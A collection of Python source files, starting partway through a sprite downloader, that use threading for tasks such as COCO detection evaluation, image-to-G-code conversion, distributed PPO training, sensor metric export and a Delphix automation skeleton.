= list_pokemons.all() half_pokemons = len(pokemons) // 2 pokemons = get_sprite_of_list_pokemon(pokemons[half_pokemons:]) for pokemon in pokemons: download_sprite_pokemons.of(pokemon) first_thread = Thread(name='first_half', target=get_first_half) second_thread = Thread(name='second_half', target=get_second_half) first_thread.start() second_thread.start() first_thread.join() second_thread.join() while not queue.empty(): print(queue.get()) if __name__ == '__main__': main()
test_shared_array.py
from multiprocessing import Process import numpy as np from kiox.distributed.shared_array import create_shared_array def test_create_shared_array(): array = create_shared_array([3, 84, 84], dtype=np.float32) def child(array): array.fill(1.0) p = Process(target=child, args=(array,)) p.start() p.join() assert np.all(array == 1.0)
mask_test.py
import argparse import importlib import math import os import pprint import pickle as pkl from functools import reduce from queue import Queue from threading import Thread from core.detection_module import DetModule from core.detection_input import Loader from utils.load_model import load_checkpoint from utils.patch_config import patch_config_as_nothrow import mxnet as mx import numpy as np import json import shutil import time def parse_args(): parser = argparse.ArgumentParser(description='Test Detection') # general parser.add_argument('--config', help='config file path', type=str) args = parser.parse_args() config = importlib.import_module(args.config.replace('.py', '').replace('/', '.')) return config if __name__ == "__main__": os.environ["MXNET_CUDNN_AUTOTUNE_DEFAULT"] = "0" config = parse_args() pGen, pKv, pRpn, pRoi, pBbox, pDataset, pModel, pOpt, pTest, \ transform, data_name, label_name, metric_list = config.get_config(is_train=False) pGen = patch_config_as_nothrow(pGen) pKv = patch_config_as_nothrow(pKv) pRpn = patch_config_as_nothrow(pRpn) pRoi = patch_config_as_nothrow(pRoi) pBbox = patch_config_as_nothrow(pBbox) pDataset = patch_config_as_nothrow(pDataset) pModel = patch_config_as_nothrow(pModel) pOpt = patch_config_as_nothrow(pOpt) pTest = patch_config_as_nothrow(pTest) sym = pModel.test_symbol sym.save(pTest.model.prefix + "_mask_test.json") image_sets = pDataset.image_set roidbs_all = [pkl.load(open("data/cache/{}.roidb".format(i), "rb"), encoding="latin1") for i in image_sets] roidbs_all = reduce(lambda x, y: x + y, roidbs_all) from pycocotools.coco import COCO from pycocotools.cocoeval import COCOeval coco = COCO(pTest.coco.annotation) data_queue = Queue(100) result_queue = Queue() execs = [] workers = [] coco_result = [] segm_result = [] split_size = 1000 for index_split in range(int(math.ceil(len(roidbs_all) / split_size))): print("evaluating [%d, %d)" % (index_split * split_size, (index_split + 1) * split_size)) roidb = roidbs_all[index_split * split_size:(index_split + 1) * split_size] roidb = pTest.process_roidb(roidb) for i, x in enumerate(roidb): x["rec_id"] = np.array(i, dtype=np.float32) x["im_id"] = np.array(x["im_id"], dtype=np.float32) loader = Loader(roidb=roidb, transform=transform, data_name=data_name, label_name=label_name, batch_size=1, shuffle=False, num_worker=4, num_collector=2, worker_queue_depth=2, collector_queue_depth=2) print("total number of images: {}".format(loader.total_batch)) data_names = [k[0] for k in loader.provide_data] if index_split == 0: arg_params, aux_params = load_checkpoint(pTest.model.prefix, pTest.model.epoch) if pModel.process_weight is not None: pModel.process_weight(sym, arg_params, aux_params) # merge batch normalization to speedup test from utils.graph_optimize import merge_bn sym, arg_params, aux_params = merge_bn(sym, arg_params, aux_params) sym.save(pTest.model.prefix + "_test.json") # infer shape worker_data_shape = dict(loader.provide_data + loader.provide_label) for key in worker_data_shape: worker_data_shape[key] = (pKv.batch_image,) + worker_data_shape[key][1:] arg_shape, _, aux_shape = sym.infer_shape(**worker_data_shape) _, out_shape, _ = sym.get_internals().infer_shape(**worker_data_shape) out_shape_dict = list(zip(sym.get_internals().list_outputs(), out_shape)) _, out_shape, _ = sym.infer_shape(**worker_data_shape) terminal_out_shape_dict = zip(sym.list_outputs(), out_shape) print('parameter shape') print(pprint.pformat([i for i in out_shape_dict if not i[0].endswith('output')])) print('intermediate output shape') print(pprint.pformat([i for i in out_shape_dict if i[0].endswith('output')])) print('terminal output shape') print(pprint.pformat([i for i in terminal_out_shape_dict])) for i in pKv.gpus: ctx = mx.gpu(i) mod = DetModule(sym, data_names=data_names, context=ctx) mod.bind(data_shapes=loader.provide_data, for_training=False) mod.set_params(arg_params, aux_params, allow_extra=False) execs.append(mod) all_outputs = [] if index_split == 0: def eval_worker(exe, data_queue, result_queue): while True: batch = data_queue.get() exe.forward(batch, is_train=False) out = [x.asnumpy() for x in exe.get_outputs()] result_queue.put(out) for exe in execs: workers.append(Thread(target=eval_worker, args=(exe, data_queue, result_queue))) for w in workers: w.daemon = True w.start() import time t1_s = time.time() def data_enqueue(loader, data_queue): for batch in loader: data_queue.put(batch) enqueue_worker = Thread(target=data_enqueue, args=(loader, data_queue)) enqueue_worker.daemon = True enqueue_worker.start() for _ in range(loader.total_batch): r = result_queue.get() rid, id, info, post_cls_score, post_box, post_cls, mask, mask_score = r rid, id, info, post_cls_score, post_box, post_cls, mask, mask_score = rid.squeeze(), id.squeeze(), info.squeeze(), \ post_cls_score.squeeze(), post_box.squeeze(), \ post_cls.squeeze(), mask.squeeze(), mask_score.squeeze() # TODO: POTENTIAL BUG, id or rid overflows float32(int23, 16.7M) id = np.asscalar(id) rid = np.asscalar(rid) scale = info[2] # h_raw, w_raw, scale mask = mask[:, 1:, :, :] # remove bg post_box = post_box / scale # scale to original image scale post_cls = post_cls.astype(np.int32) # remove pad bbox and mask valid_inds = np.where(post_cls > -1)[0] bbox_xyxy = post_box[valid_inds] cls_score = post_cls_score[valid_inds] cls = post_cls[valid_inds] mask = mask[valid_inds] # check if model outputs mask score if mask_score.shape == () and mask_score == -1: mask_score = np.zeros_like(cls_score) rescoring_mask = False else: rescoring_mask = True output_record = dict( rec_id=rid, im_id=id, im_info=info, bbox_xyxy=bbox_xyxy, cls_score=cls_score, mask_score=mask_score, cls=cls, mask=mask, valid_inds=valid_inds ) all_outputs.append(output_record) t2_s = time.time() print("network uses: %.1f" % (t2_s - t1_s)) # let user process all_outputs all_outputs = pTest.process_output(all_outputs, roidb) t3_s = time.time() print("output processing uses: %.1f" % (t3_s - t2_s)) # aggregate results for ensemble and multi-scale test output_dict = {} for rec in all_outputs: im_id = rec["im_id"] if im_id not in output_dict: output_dict[im_id] = dict( bbox_xyxy=[rec["bbox_xyxy"]], cls_score=[rec["cls_score"]], mask_score=[rec["mask_score"]], cls=[rec["cls"]], segm=[rec["segm"]] ) else: output_dict[im_id]["bbox_xyxy"].append(rec["bbox_xyxy"]) output_dict[im_id]["cls_score"].append(rec["cls_score"]) output_dict[im_id]["mask_score"].append(rec["mask_score"]) output_dict[im_id]["cls"].append(rec["cls"]) output_dict[im_id]["segm"].append(rec["segm"]) output_dict[im_id]["bbox_xyxy"] = output_dict[im_id]["bbox_xyxy"][0] output_dict[im_id]["cls_score"] = output_dict[im_id]["cls_score"][0] output_dict[im_id]["mask_score"] = output_dict[im_id]["mask_score"][0] output_dict[im_id]["cls"] = output_dict[im_id]["cls"][0] output_dict[im_id]["segm"] = output_dict[im_id]["segm"][0] t4_s = time.time() print("aggregate uses: %.1f" % (t4_s - t3_s)) for k in output_dict: bbox_xyxy = output_dict[k]["bbox_xyxy"] cls_score = output_dict[k]["cls_score"] mask_score = output_dict[k]["mask_score"] cls = output_dict[k]["cls"] segm = output_dict[k]["segm"] final_dets = {} final_segms = {} final_mask_scores = {} for cid in np.unique(cls): ind_of_this_class = np.where(cls == cid)[0] box_of_this_class = bbox_xyxy[ind_of_this_class] score_of_this_class = cls_score[ind_of_this_class] mask_score_of_this_class = mask_score[ind_of_this_class] segm_of_this_class = segm[ind_of_this_class] det_of_this_class = np.concatenate((box_of_this_class, score_of_this_class.reshape(-1, 1)), axis=1).astype(np.float32) if pTest.multi_branch_nms is not None: if callable(pTest.multi_branch_nms.type): nms = pTest.multi_branch_nms.type(pTest.multi_branch_nms.thr) else: from operator_py.nms import py_nms_index_wrapper nms = py_nms_index_wrapper(pTest.multi_branch_nms.thr) keep = nms(det_of_this_class) det_of_this_class = det_of_this_class[keep] segm_of_this_class = segm_of_this_class[keep] mask_score_of_this_class = mask_score_of_this_class[keep] dataset_cid = coco.getCatIds()[cid] final_dets[dataset_cid] = det_of_this_class final_segms[dataset_cid] = segm_of_this_class final_mask_scores[dataset_cid] = mask_score_of_this_class del output_dict[k]["bbox_xyxy"] del output_dict[k]["cls_score"] del output_dict[k]["cls"] del output_dict[k]["segm"] output_dict[k]["det_xyxys"] = final_dets output_dict[k]["segmentations"] = final_segms output_dict[k]["mask_score"] = final_mask_scores t5_s = time.time() print("post process uses: %.1f" % (t5_s - t4_s)) for iid in output_dict: result = [] for cid in output_dict[iid]["det_xyxys"]: det_of_this_class = output_dict[iid]["det_xyxys"][cid] seg_of_this_class = output_dict[iid]["segmentations"][cid] if det_of_this_class.shape[0] == 0: continue scores = det_of_this_class[:, -1] mask_scores = output_dict[iid]["mask_score"][cid] xs = det_of_this_class[:, 0] ys = det_of_this_class[:, 1] ws = det_of_this_class[:, 2] - xs + 1 hs = det_of_this_class[:, 3] - ys + 1 result += [ {'image_id': int(iid), 'category_id': int(cid), 'bbox': [float(xs[k]), float(ys[k]), float(ws[k]), float(hs[k])], 'score': float(scores[k]), 'mask_score': float(mask_scores[k]), 'segmentation': {"size": seg_of_this_class[k]["size"], "counts": seg_of_this_class[k]["counts"].decode('utf8')}} for k in range(det_of_this_class.shape[0]) ] result = sorted(result, key=lambda x: x['score'])[-pTest.max_det_per_image:] coco_result += result t6_s = time.time() print("convert to coco format uses: %.1f" % (t6_s - t5_s)) import json json.dump(coco_result, open("experiments/{}/{}_result.json".format(pGen.name, pDataset.image_set[0]), "w"), sort_keys=True, indent=2) ann_type = 'bbox' coco_dt = coco.loadRes(coco_result) coco_eval = COCOeval(coco, coco_dt) coco_eval.params.useSegm = (ann_type == 'segm') coco_eval.evaluate() coco_eval.accumulate() coco_eval.summarize() if rescoring_mask == False: ann_type = 'segm' coco_dt = coco.loadRes(coco_result) coco_eval = COCOeval(coco, coco_dt) coco_eval.params.useSegm = (ann_type == 'segm') coco_eval.evaluate() coco_eval.accumulate() coco_eval.summarize() else: # rescoring mask with mask score for ii in range(len(coco_result)): coco_result[ii]['score'] = coco_result[ii]['mask_score'] ann_type = 'segm' coco_dt = coco.loadRes(coco_result) coco_eval = COCOeval(coco, coco_dt) coco_eval.params.useSegm = (ann_type == 'segm') coco_eval.evaluate() coco_eval.accumulate() coco_eval.summarize() t7_s = time.time() print("coco eval uses: %.1f" % (t7_s - t6_s))
ImageProcessor.py
# This Python file uses the following encoding: utf-8 import os import sys import cv2 import numpy as np import threading from svg_to_gcode.svg_parser import parse_string from svg_to_gcode.compiler import Compiler, interfaces from svg_to_gcode import TOLERANCES from PySide2.QtCore import QSize from PySide2.QtGui import QImage, QPainter from PySide2.QtSvg import QSvgRenderer class ImageProcessor(): path = os.path.join(getattr(sys, '_MEIPASS', os.path.dirname(os.path.abspath(__file__))), "Assets/") svg_path = path + "processed_image.svg" gcode_path = path + "processed_image.gcode" FORMAT = QSize(280, 200) def process(self, qimage, format=FORMAT): ptr = qimage.bits() image = np.array(ptr).reshape(qimage.height(), qimage.width(), 3) # image processing code contours = self.imageProcessing(image) image = np.ones((format.height(), format.width(), 3), dtype=np.uint8) * 255 cv2.drawContours(image, contours, -1, (0, 0, 0), 3) # svg and gcode conversion thread thread_svg = threading.Thread(target=self.contours_to_svg, args=(contours, format.width(), format.height()), daemon=True) thread_svg.start() return image def contours_to_svg(self, contours, width, height, to_gcode=True): svg = '<svg width="' + str(width) + '" height="' + str(height) + '" xmlns="http://www.w3.org/2000/svg">' svg += '<g fill="none">' for c in contours: svg += '<path d="M' for i in range(len(c)): x, y = c[i][0] svg += str(x) + " " + str(y) + " " svg += '" style="stroke:black;fill-rule: evenodd;" />' svg += '</g>' svg += "</svg>" with open(self.svg_path, "w+") as f: f.write(svg) if not to_gcode: return self.svg_to_gcode(svg, 0.1) return def svg_to_gcode(self, svg, tolerance=0.1, pathtosave=gcode_path): TOLERANCES['approximation'] = tolerance curves = parse_string(svg) gcode_compiler = Compiler(interfaces.Gcode, movement_speed=50000, cutting_speed=40000, pass_depth=5) gcode_compiler.append_curves(curves) gcode_compiler.compile_to_file(pathtosave, passes=1) with open(pathtosave, "ab") as f: return_home = b"\nG21G90 G0Z5;\nG90 G0 X0 Y0;\nG90 G0 Z0;" f.write(return_home) def openPreviewImage(self, width, height): renderer = QSvgRenderer(self.svg_path) qimage = QImage(width, height, QImage.Format_Grayscale8) qimage.fill(0xFFFFFFFF) painter = QPainter(qimage) renderer.render(painter) painter.end() ptr = qimage.bits() image = np.array(ptr).reshape(qimage.height(), qimage.width(), 1) cv2.imshow("Preview", image) def imageProcessing(self, img): img = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY) image = img.copy() height, width = image.shape[:2] threshold = [100, 200] image = cv2.GaussianBlur(image, (5, 5), 1) # ADD GAUSSIAN BLUR image = cv2.Canny(image, threshold[0], threshold[1]) # APPLY CANNY BLUR kernel = np.ones((5, 5)) image = cv2.dilate(image, kernel, iterations=2) # APPLY DILATION image = cv2.erode(image, kernel, iterations=1) # APPLY EROSION contours, hierarchy = cv2.findContours(image, cv2.RETR_LIST, cv2.CHAIN_APPROX_SIMPLE) # FIND ALL CONTOURS biggest, maxArea = self.biggestContour(contours) if biggest.size != 0: biggest = self.reorder(biggest) pts1 = np.float32(biggest) # PREPARE POINTS FOR WARP pts2 = np.float32([[0, 0], [width, 0], [0, height], [width, height]]) # PREPARE POINTS FOR WARP matrix = cv2.getPerspectiveTransform(pts1, pts2) image = cv2.warpPerspective(img, matrix, (width, height)) # REMOVE 25 PIXELS FORM EACH SIDE image = image[25:image.shape[0] - 25, 25:image.shape[1] - 25] image = cv2.resize(image, (width, height)) else: print("Couldn't find the paper!") image = img.copy() # APPLY ADAPTIVE THRESHOLD image = cv2.adaptiveThreshold(image, 255, cv2.ADAPTIVE_THRESH_MEAN_C, cv2.THRESH_BINARY, 7, 2) image = cv2.bitwise_not(image) image = cv2.medianBlur(image, 5) image = cv2.Canny(image, 120, 200) kernel = np.ones((3, 3)) image = cv2.dilate(image, kernel, iterations=5) # APPLY DILATION image = cv2.erode(image, kernel, iterations=3) # APPLY EROSION image = cv2.resize(image, (self.FORMAT.width(), self.FORMAT.height())) contours, hierarchy = cv2.findContours(image, cv2.RETR_LIST, cv2.CHAIN_APPROX_SIMPLE) # FIND ALL CONTOURS return contours def biggestContour(self, contours): biggest = np.array([]) max_area = 0 for i in contours: area = cv2.contourArea(i) if area > 5000: peri = cv2.arcLength(i, True) approx = cv2.approxPolyDP(i, 0.02 * peri, True) if area > max_area and len(approx) == 4: biggest = approx max_area = area return biggest, max_area def reorder(self, myPoints): myPoints = myPoints.reshape((4, 2)) myPointsNew = np.zeros((4, 1, 2), dtype=np.int32) add = myPoints.sum(1) myPointsNew[0] = myPoints[np.argmin(add)] myPointsNew[3] = myPoints[np.argmax(add)] diff = np.diff(myPoints, axis=1) myPointsNew[1] = myPoints[np.argmin(diff)] myPointsNew[2] = myPoints[np.argmax(diff)] return myPointsNew
dppo.py
""" simple version of OpenAI's Proximal Policy Optimization (PPO). [https://arxiv.org/abs/1707.06347] Distributing workers in parallel to collect data, then stop worker's roll-out and train PPO on collected data. Restart workers once PPO is updated. The global PPO updating rule is adopted from DeepMind's paper (DPPO): Emergence of Locomotion Behaviours in Rich Environments (Google Deepmind): [https://arxiv.org/abs/1707.02286] View more on my tutorial website: https://morvanzhou.github.io/tutorials Dependencies: tensorflow r1.3 gym 0.9.2 """ import tensorflow as tf import numpy as np import matplotlib.pyplot as plt import gym, threading, queue EP_MAX = 500 EP_LEN = 100 N_WORKER = 4 # parallel workers GAMMA = 0.9 # reward discount factor A_LR = 0.0001 # learning rate for actor C_LR = 0.0002 # learning rate for critic MIN_BATCH_SIZE = 64 # minimum batch size for updating PPO UPDATE_STEP = 10 # loop update operation n-steps EPSILON = 0.2 # for clipping surrogate objective GAME = 'Pendulum-v0' S_DIM, A_DIM = 3, 1 # state and action dimension class PPO(object): def __init__(self): self.sess = tf.Session() self.tfs = tf.placeholder(tf.float32, [None, S_DIM], 'state') # critic l1 = tf.layers.dense(self.tfs, 100, tf.nn.relu) self.v = tf.layers.dense(l1, 1) self.tfdc_r = tf.placeholder(tf.float32, [None, 1], 'discounted_r') self.advantage = self.tfdc_r - self.v self.closs = tf.reduce_mean(tf.square(self.advantage)) self.ctrain_op = tf.train.AdamOptimizer(C_LR).minimize(self.closs) # actor pi, pi_params = self._build_anet('pi', trainable=True) oldpi, oldpi_params = self._build_anet('oldpi', trainable=False) self.sample_op = tf.squeeze(pi.sample(1), axis=0) # operation of choosing action self.update_oldpi_op = [oldp.assign(p) for p, oldp in zip(pi_params, oldpi_params)] self.tfa = tf.placeholder(tf.float32, [None, A_DIM], 'action') self.tfadv = tf.placeholder(tf.float32, [None, 1], 'advantage') # ratio = tf.exp(pi.log_prob(self.tfa) - oldpi.log_prob(self.tfa)) ratio = pi.prob(self.tfa) / (oldpi.prob(self.tfa) + 1e-5) surr = ratio * self.tfadv # surrogate loss self.aloss = -tf.reduce_mean(tf.minimum( # clipped surrogate objective surr, tf.clip_by_value(ratio, 1. - EPSILON, 1. + EPSILON) * self.tfadv)) self.atrain_op = tf.train.AdamOptimizer(A_LR).minimize(self.aloss) self.sess.run(tf.global_variables_initializer()) def update(self): global GLOBAL_UPDATE_COUNTER while not COORD.should_stop(): if GLOBAL_EP < EP_MAX: UPDATE_EVENT.wait() # wait until get batch of data self.sess.run(self.update_oldpi_op) # copy pi to old pi data = [QUEUE.get() for _ in range(QUEUE.qsize())] # collect data from all workers data = np.vstack(data) s, a, r = data[:, :S_DIM], data[:, S_DIM: S_DIM + A_DIM], data[:, -1:] adv = self.sess.run(self.advantage, {self.tfs: s, self.tfdc_r: r}) # update actor and critic in a update loop [self.sess.run(self.atrain_op, {self.tfs: s, self.tfa: a, self.tfadv: adv}) for _ in range(UPDATE_STEP)] [self.sess.run(self.ctrain_op, {self.tfs: s, self.tfdc_r: r}) for _ in range(UPDATE_STEP)] UPDATE_EVENT.clear() # updating finished GLOBAL_UPDATE_COUNTER = 0 # reset counter ROLLING_EVENT.set() # set roll-out available def _build_anet(self, name, trainable): with tf.variable_scope(name): l1 = tf.layers.dense(self.tfs, 200, tf.nn.relu, trainable=trainable) mu = 2 * tf.layers.dense(l1, A_DIM, tf.nn.tanh, trainable=trainable) sigma = tf.layers.dense(l1, A_DIM, tf.nn.softplus, trainable=trainable) norm_dist = tf.distributions.Normal(loc=mu, scale=sigma) params = tf.get_collection(tf.GraphKeys.GLOBAL_VARIABLES, scope=name) return norm_dist, params def choose_action(self, s): s = s[np.newaxis, :] a = self.sess.run(self.sample_op, {self.tfs: s})[0] return np.clip(a, -2, 2) def get_v(self, s): if s.ndim < 2: s = s[np.newaxis, :] return self.sess.run(self.v, {self.tfs: s})[0, 0] class Worker(object): def __init__(self, wid): self.wid = wid self.env = gym.make(GAME).unwrapped self.ppo = GLOBAL_PPO def work(self): global GLOBAL_EP, GLOBAL_RUNNING_R, GLOBAL_UPDATE_COUNTER while not COORD.should_stop(): s = self.env.reset() ep_r = 0 buffer_s, buffer_a, buffer_r = [], [], [] for t in range(EP_LEN): if not ROLLING_EVENT.is_set(): # while global PPO is updating ROLLING_EVENT.wait() # wait until PPO is updated buffer_s, buffer_a, buffer_r = [], [], [] # clear history buffer, use new policy to collect data a = self.ppo.choose_action(s) s_, r, done, _ = self.env.step(a) buffer_s.append(s) buffer_a.append(a) buffer_r.append((r + 8) / 8) # normalize reward, find to be useful s = s_ ep_r += r GLOBAL_UPDATE_COUNTER += 1 # count to minimum batch size, no need to wait other workers if t == EP_LEN - 1 or GLOBAL_UPDATE_COUNTER >= MIN_BATCH_SIZE: v_s_ = self.ppo.get_v(s_) discounted_r = [] # compute discounted reward for r in buffer_r[::-1]: v_s_ = r + GAMMA * v_s_ discounted_r.append(v_s_) discounted_r.reverse() bs, ba, br = np.vstack(buffer_s), np.vstack(buffer_a), np.array(discounted_r)[:, np.newaxis] buffer_s, buffer_a, buffer_r = [], [], [] QUEUE.put(np.hstack((bs, ba, br))) # put data in the queue if GLOBAL_UPDATE_COUNTER >= MIN_BATCH_SIZE: ROLLING_EVENT.clear() # stop collecting data UPDATE_EVENT.set() # globalPPO update if GLOBAL_EP >= EP_MAX: # stop training COORD.request_stop() break # record reward changes, plot later if len(GLOBAL_RUNNING_R) == 0: GLOBAL_RUNNING_R.append(ep_r) else: GLOBAL_RUNNING_R.append(GLOBAL_RUNNING_R[-1]*0.9+ep_r*0.1) GLOBAL_EP += 1 print('{0:.1f}%'.format(GLOBAL_EP/EP_MAX*100), '|W%i' % self.wid, '|Ep_r: %.2f' % ep_r,) if __name__ == '__main__': GLOBAL_PPO = PPO() UPDATE_EVENT, ROLLING_EVENT = threading.Event(), threading.Event() UPDATE_EVENT.clear() # not update now ROLLING_EVENT.set() # start to roll out workers = [Worker(wid=i) for i in range(N_WORKER)] GLOBAL_UPDATE_COUNTER, GLOBAL_EP = 0, 0 GLOBAL_RUNNING_R = [] COORD = tf.train.Coordinator() QUEUE = queue.Queue() # workers putting data in this queue threads = [] for worker in workers: # worker threads t = threading.Thread(target=worker.work, args=()) t.start() # training threads.append(t) # add a PPO updating thread threads.append(threading.Thread(target=GLOBAL_PPO.update,)) threads[-1].start() COORD.join(threads) # plot reward change and test # plt.ion() plt.plot(np.arange(len(GLOBAL_RUNNING_R)), GLOBAL_RUNNING_R) plt.xlabel('Episode') plt.ylabel('Moving reward') plt.show() env = gym.make('Pendulum-v0') while True: s = env.reset() for t in range(300): env.render() s = env.step(GLOBAL_PPO.choose_action(s))[0]
main.py
import threading import signal import logging from argparse import ArgumentParser from blackboard import Blackboard from gas import GasReader from temp import TemperatureReader from sound import SoundReader from exporter import PrometheusExporter threads = [] log_level = logging.INFO # in some environments the sensor itself heats up skewing the temperature measurement. this variable allows you to # counteract that. since the thermal output is constant a fixed offset is "good enough" for us (the sensor is not # that accurate anyhow) temp_offset = -1.5 # serial port for connection to the PT8005 sound_serial_port = "/dev/ttyUSB0" parser = ArgumentParser() parser.add_argument("-v", action="store_true") options = parser.parse_args() if options.v: log_level = logging.DEBUG if __name__ == "__main__": log_format = "%(asctime)s: %(message)s" logging.basicConfig(format=log_format, level=log_level, datefmt="%H:%M:%S") blackboard = Blackboard() gas = GasReader(blackboard) temperature = TemperatureReader(blackboard, temp_offset=temp_offset) sound = SoundReader(blackboard, serial_port=sound_serial_port) exporter = PrometheusExporter(blackboard) threads.append(threading.Thread(target=gas.measure, daemon=True)) threads.append(threading.Thread(target=gas.set_baseline, daemon=True)) threads.append(threading.Thread(target=gas.calibrate, daemon=True)) threads.append(threading.Thread(target=temperature.measure, daemon=True)) threads.append(threading.Thread(target=sound.measure, daemon=True)) threads.append(threading.Thread(target=exporter.fill_gauges, daemon=True)) exporter.start_prometheus_http_server() for thread in threads: thread.start() # noinspection PyUnusedLocal def bail_out(*args): logging.info("Received SIGTERM") gas.stop() temperature.stop() sound.stop() exporter.stop() logging.info("All threads stopped. Exiting") raise SystemExit(0) # noinspection PyTypeChecker signal.signal(signal.SIGTERM, bail_out) try: for thread in threads: thread.join() except KeyboardInterrupt: bail_out()
dx_skel.py
#!/usr/bin/env python # Corey Brune - Feb 2017 # Description: # This is a skeleton script which has all of the common functionality. # The developer will only need to add the necessary arguments and functions # then make the function calls in main_workflow(). # Requirements # pip install docopt delphixpy.v1_8_0 # The below doc follows the POSIX compliant standards and allows us to use # this doc to also define our arguments for the script. """Description Usage: dx_skel.py () [--engine <identifier> | --all] [--debug] [--parallel <n>] [--poll <n>] [--config <path_to_file>] [--logdir <path_to_file>] dx_skel.py -h | --help | -v | --version Description Examples: Options: --engine <type> Alt Identifier of Delphix engine in dxtools.conf. --all Run against all engines. --debug Enable debug logging --parallel <n> Limit number of jobs to maxjob --poll <n> The number of seconds to wait between job polls [default: 10] --config <path_to_file> The path to the dxtools.conf file [default: ./dxtools.conf] --logdir <path_to_file> The path to the logfile you want to use. [default: ./dx_skel.log] -h --help Show this screen. -v --version Show version. """ from __future__ import print_function import sys from os.path import basename from time import sleep from time import time from docopt import docopt from delphixpy.v1_8_0.exceptions import HttpError from delphixpy.v1_8_0.exceptions import JobError from delphixpy.v1_8_0.exceptions import RequestError from delphixpy.v1_8_0.web import job from lib.DlpxException import DlpxException from lib.DxLogging import logging_est from lib.DxLogging import print_debug from lib.DxLogging import print_exception from lib.DxLogging import print_info from lib.GetReferences import find_obj_by_name from lib.GetSession import GetSession VERSION = "v.0.0.001" def run_async(func): """ http://code.activestate.com/recipes/576684-simple-threading-decorator/ run_async(func) function decorator, intended to make "func" run in a separate thread (asynchronously). Returns the created Thread object E.g.: @run_async def task1(): do_something @run_async def task2(): do_something_too t1 = task1() t2 = task2() ... t1.join() t2.join() """ from threading import Thread from functools import wraps @wraps(func) def async_func(*args, **kwargs): func_hl = Thread(target=func, args=args, kwargs=kwargs) func_hl.start() return func_hl return async_func @run_async def main_workflow(engine): """ This function actually runs the jobs. Use the @run_async decorator to run this function asynchronously. This allows us to run against multiple Delphix Engine simultaneously engine: Dictionary of engines """ try: # Setup the connection to the Delphix Engine dx_session_obj.serversess( engine["ip_address"], engine["username"], engine["password"] ) if arguments["--vdb"]: # Get the database reference we are copying from the database name database_obj = find_obj_by_name( dx_session_obj.server_session, database, arguments["--vdb"] ) except DlpxException as e: print_exception( "\nERROR: Engine {} encountered an error while" "{}:\n{}\n".format(engine["hostname"], arguments["--target"], e) ) sys.exit(1) thingstodo = ["thingtodo"] try: with dx_session_obj.job_mode(single_thread): while len(dx_session_obj.jobs) > 0 or len(thingstodo) > 0: if len(thingstodo) > 0: if OPERATION: method_call elif OPERATION: method_call thingstodo.pop() # get all the jobs, then inspect them i = 0 for j in dx_session_obj.jobs.keys(): job_obj = job.get( dx_session_obj.server_session, dx_session_obj.jobs[j] ) print_debug(job_obj) print_info( "{}: Replication operations: {}".format( engine["hostname"], job_obj.job_state ) ) if job_obj.job_state in ["CANCELED", "COMPLETED", "FAILED"]: # If the job is in a non-running state, remove it # from the # running jobs list. del dx_session_obj.jobs[j] elif job_obj.job_state in "RUNNING": # If the job is in a running state, increment the # running job count. i += 1 print_info("{}: {:d} jobs running.".format(engine["hostname"], i)) # If we have running jobs, pause before repeating the # checks. if len(dx_session_obj.jobs) > 0: sleep(float(arguments["--poll"])) except (HttpError, RequestError, JobError, DlpxException) as e: print_exception( "ERROR: Could not complete replication " "operation:{}".format(e) ) def run_job(): """ This function runs the main_workflow aynchronously against all the servers specified """ # Create an empty list to store threads we create. threads = [] engine = None # If the --all argument was given, run against every engine in dxtools.conf if arguments["--all"]: print_info("Executing against all Delphix Engines in the dxtools.conf") try: # For each server in the dxtools.conf... for delphix_engine in dx_session_obj.dlpx_engines: engine = dx_session_obj[delphix_engine] # Create a new thread and add it to the list. threads.append(main_workflow(engine)) except DlpxException as e: print("Error encountered in run_job():\n{}".format(e)) sys.exit(1) elif arguments["--all"] is False: # Else if the --engine argument was given, test to see if the engine # exists in dxtools.conf if arguments["--engine"]: try: engine = dx_session_obj.dlpx_engines[arguments["--engine"]] print_info( "Executing against Delphix Engine: {}\n".format( (arguments["--engine"]) ) ) except (DlpxException, RequestError, KeyError) as e: raise DlpxException( "\nERROR: Delphix Engine {} cannot be " "found in {}. Please check your value " "and try again. Exiting.\n".format( arguments["--engine"], config_file_path ) ) else: # Else search for a default engine in the dxtools.conf for delphix_engine in dx_session_obj.dlpx_engines: if dx_session_obj.dlpx_engines[delphix_engine]["default"] == "true": engine = dx_session_obj.dlpx_engines[delphix_engine] print_info( "Executing against the default Delphix Engine " "in the dxtools.conf: {}".format( dx_session_obj.dlpx_engines[delphix_engine]["hostname"] ) ) break if engine == None: raise DlpxException("\nERROR: No default engine found. Exiting") # run the job against the engine threads.append(main_workflow(engine)) # For each thread in the list... for each in threads: # join them back together so that we wait for all threads to complete # before moving on each.join() def time_elapsed(): """ This function calculates the time elapsed since the beginning of the script. Call this anywhere you want to note the progress in terms of time """ # elapsed_minutes = round((time() - time_start)/60, +1) # return elapsed_minutes return round((time() - time_start) / 60, +1) def main(arguments): # We want to be able to call on these variables anywhere in the script. global single_thread global usebackup global time_start global config_file_path global dx_session_obj global debug if arguments["--debug"]: debug = True try: dx_session_obj = GetSession() logging_est(arguments["--logdir"]) print_debug(arguments) time_start = time() single_thread = False config_file_path = arguments["--config"] # Parse the dxtools.conf and put it into a dictionary dx_session_obj.get_config(config_file_path) # This is the function that will handle processing main_workflow for # all the servers. run_job() elapsed_minutes = time_elapsed() print_info( "script took {:.2f} minutes to get this far.".format(elapsed_minutes) ) # Here we handle what we do when the unexpected happens except DlpxException as e: print_exception( "script encountered an error while processing the" "config file:\n{}".format(e) ) except SystemExit as e: """ This is what we use to handle our sys.exit(#) """ sys.exit(e) except HttpError as e: """ We use this exception handler when our connection to Delphix fails """ print_exception( "Connection failed to the Delphix Engine" "Please check the ERROR message:\n{}".format(e) ) sys.exit(1) except JobError as e: """ We use this exception handler when a job fails in Delphix so that we have actionable data """ elapsed_minutes = time_elapsed() print_exception("A job failed in the Delphix Engine") print_info( "{} took {:.2f} minutes to get this far\n{}".format( basename(__file__), elapsed_minutes, e ) ) sys.exit(3) except KeyboardInterrupt: """ We use this exception handler to gracefully handle ctrl+c exits """ print_debug("You sent a CTRL+C to interrupt the process") elapsed_minutes = time_elapsed() print_info( "{} took {:.2f} minutes to get this far\n".format( basename(__file__), elapsed_minutes ) ) except: """ Everything else gets caught here """ print_exception(sys.exc_info()[0]) elapsed_minutes = time_elapsed() print_info( "{} took {:.2f} minutes to get this far\n".format( basename(__file__), elapsed_minutes ) ) sys.exit(1) if __name__ == "__main__": # Grab our arguments from the doc at the top of the script arguments = docopt(__doc__, version=basename(__file__) + " " + VERSION) # Feed our arguments to the main function, and off we go! main(arguments)
